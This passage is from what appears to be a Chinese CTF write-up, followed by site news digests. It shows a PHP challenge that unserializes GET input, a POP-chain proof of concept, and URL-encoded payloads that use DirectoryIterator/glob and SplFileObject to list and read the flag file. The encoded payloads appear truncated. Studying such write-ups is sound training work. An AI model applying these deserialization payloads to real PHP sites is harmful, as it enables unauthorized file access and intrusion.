public function get_flag()
{
echo "flag{".$this->tmp1."}";
}
}
class A5
{
public $tmp1;
public $tmp2;
public function __call($a,$b)
{
$f=$this->tmp1;
$f();
}
}
class A6
{
public $tmp1;
public $tmp2;
public function __toString()
{
$this->tmp1->hack4fun();
return "114514";
}
}
class A7
{
public $tmp1="Hello World!";
public $tmp2;
public function __invoke()
{
echo "114514".$this->tmp2.$this->tmp1;
}
}
class A8
{
public $tmp1;
public $tmp2;
public function hack4fun()
{
echo "Last step,Ganbadie~";
if(isset($_GET['DAS']))
{
$this->tmp1=$_GET['DAS'];
}
if(isset($_GET['CTF']))
{
$this->tmp2=$_GET['CTF'];
}
echo new $this->tmp1($this->tmp2);
}
}
if(isset($_GET['DASCTF']))
{
unserialize($_GET['DASCTF']);
}
else{
highlight_file(__FILE__);
}
这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC
<?php
class A1{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp1 = new A3();
echo "Enjoy Hacking!"."<br/>";
}
public function __wakeup()
{
$this->tmp1->hacking();
}
}
class A2
{
public $tmp1;
public $tmp2;
public function hacking()
{
echo "Hacked By Bi0x";
}
}
class A3
{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp2 = new A4();
}
public function hacking()
{
$this->tmp2->get_flag();
}
}
class A4
{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp1 = new A6();
}
public function get_flag()
{
echo "flag{".$this->tmp1."}";
}
}
class A5
{
public $tmp1 = "";
public $tmp2;
public function __call($a,$b)
{
$f=$this->tmp1;
$f();
}
}
class A6
{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp1 = new A8();
}
public function __toString()
{
$this->tmp1->hack4fun();
return "114514";
}
}
class A7
{
public $tmp1="Hello World!";
public $tmp2;
public function __invoke()
{
echo "114514".$this->tmp2.$this->tmp1;
}
}
class A8
{
public $tmp1 ;
public $tmp2 ;
public function hack4fun()
{
echo "Last step,Ganbadie~";
if(isset($_GET['DAS']))
{
$this->tmp1=$_GET['DAS'];
}
if(isset($_GET['CTF']))
{
$this->tmp2=$_GET['CTF'];
}
echo new $this->tmp1($this->tmp2);
}
}
$a = new A1();
echo urlencode(serialize($a));
得到部分payload:
O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A
将上方的payload传入DASCTF参数即可
这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下:
echo new $this->tmp1($this->tmp2);
因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php
?DAS=DirectoryIterator&CTF=glob://flag*
得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件
?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D
最终再将浏览器的回显进行base64解码即可得到flag
网络安全日报 2021年11月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌推出新的开源数据隐私协议
https://www.securityweek.com/google-introduces-new-open-source-data-privacy-protocol 2、Android 恶意软件"AbstractEmu"可获取Root权限
https://www.securityweek.com/tens-thousands-download-abstractemu-android-rooting-malware 3、研究人员发现一种新的攻击利用Unicode在源码中隐藏漏洞
https://www.trojansource.codes/ 4、微软警告针对云帐户的密码喷射攻击正在增加
https://www.bleepingcomputer.com/news/microsoft/microsoft-warns-of-rise-in-password-sprays-targeting-cloud-accounts/ 5、GoCD 修补了高危身份验证漏洞
https://www.securezoo.com/2021/10/gocd-patches-highly-critical-authentication-vulnerability 6、谷歌、Salesforce 等联手启动 MVSP 安全基线项目
https://portswigger.net/daily-swig/google-salesforce-others-team-up-to-launch-mvsp-security-baseline-project 7、Balikbayan Foxes 组织冒充菲律宾政府传播RAT
https://securityaffairs.co/wordpress/124017/apt/balikbayan-foxes-campaings.html 8、多伦多交通委员会披露遭到了勒索软件攻击
https://www.cbc.ca/news/canada/toronto/ttc-ransomware-attack-1.6231349 9、研究人员发现基于Golang的勒索软件DECAF
https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance 10、警方逮捕造成全球1800起攻击事件的黑客嫌疑人
https://thehackernews.com/2021/10/police-arrest-suspected-ransomware.html
网络安全日报 2021年11月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌发布紧急 Chrome 更新补丁 修复两个被利用的0Day 漏洞
https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html 2、与伊朗有关的黑客入侵以色列互联网公司
https://www.securityweek.com/apparent-iran-linked-hackers-breach-israeli-internet-firm 3、MITRE 和 CISA 公布 2021 年最常见硬件漏洞清单
https://www.securityweek.com/mitre-cisa-announce-2021-list-most-common-hardware-weaknesses 4、Conti 勒索软件团伙攻击了顶级珠宝商Graff
https://securityaffairs.co/wordpress/123980/cyber-crime/conti-ransomware-graff-jeweller.html 5、Hive勒索软件出现新变种可以加密Linux核FreeBSD
https://securityaffairs.co/wordpress/123931/malware/hive-ransomware-linux-freebsd.html 6、巴布亚新几内亚财政部遭勒索软件攻击
https://securityaffairs.co/wordpress/123927/cyber-crime/papua-new-guinea-ransomware.html 7、 Android间谍软件FakeCop伪装成防病毒软件在日本传播
https://www.bleepingcomputer.com/news/security/android-spyware-spreading-as-antivirus-software-in-japan/ 8、苹果修复了macOS中的安全功能绕过漏洞
https://www.helpnetsecurity.com/2021/10/29/cve-2021-30892/ 9、配置错误的数据库泄露了超过8.8亿条医疗记录
https://www.websiteplanet.com/blog/deep6-leak-report/ 10、REvil和SolarMarker利用SEO中毒传播攻击载荷
https://cyware.com/news/revil-and-solarmarker-employ-seo-poisoning-attacks-4ea4f2ca
网络安全日报 2021年10月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、思科修补 ASA、FTD 软件中的高危 DoS 漏洞
https://www.securityweek.com/cisco-patches-high-severity-dos-vulnerabilities-asa-ftd-software 2、FBI 发布 Ranzy Locker 勒索软件 IOC
https://www.securityweek.com/fbi-publishes-indicators-compromise-ranzy-locker-ransomware 3、严重的 GoCD 身份验证漏洞可导致供应链攻击
https://www.securityweek.com/critical-gocd-authentication-flaw-exposes-software-supply-chain 4、美国以国家安全为由禁止中国电信在该国运营
https://www.securityweek.com/us-bans-china-telecom-over-national-security-concerns 5、微软安全研究员在 macOS 中发现 Shrootless 漏洞,可绕过SIP
https://securityaffairs.co/wordpress/123898/hacking/macos-shrootless-cve-2021-30892-flaw.html 6、超100万个网站受OptinMonster 插件漏洞影响
https://securityaffairs.co/wordpress/123886/hacking/wordpress-optinmonster-plugin-flaws.html 7、研究人员发现新的恶意软件加载程序-Wslink
https://securityaffairs.co/wordpress/123878/malware/wslink-loader.html 8、德国调查人员确定了一名 REvil 勒索软件团伙核心成员
https://www.bleepingcomputer.com/news/security/german-investigators-identify-revil-ransomware-gang-core-member 9、用于签署欧盟数字 Covid 证书的私钥遭泄露
https://www.bleepingcomputer.com/news/security/eu-investigating-leak-of-private-key-used-to-forge-covid-passes/ 10、攻击者从 Cream Finance DeFi 平台窃取了1.3亿美金资产
https://securityaffairs.co/wordpress/123861/cyber-crime/cream-finance-cyber-heist-130m.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

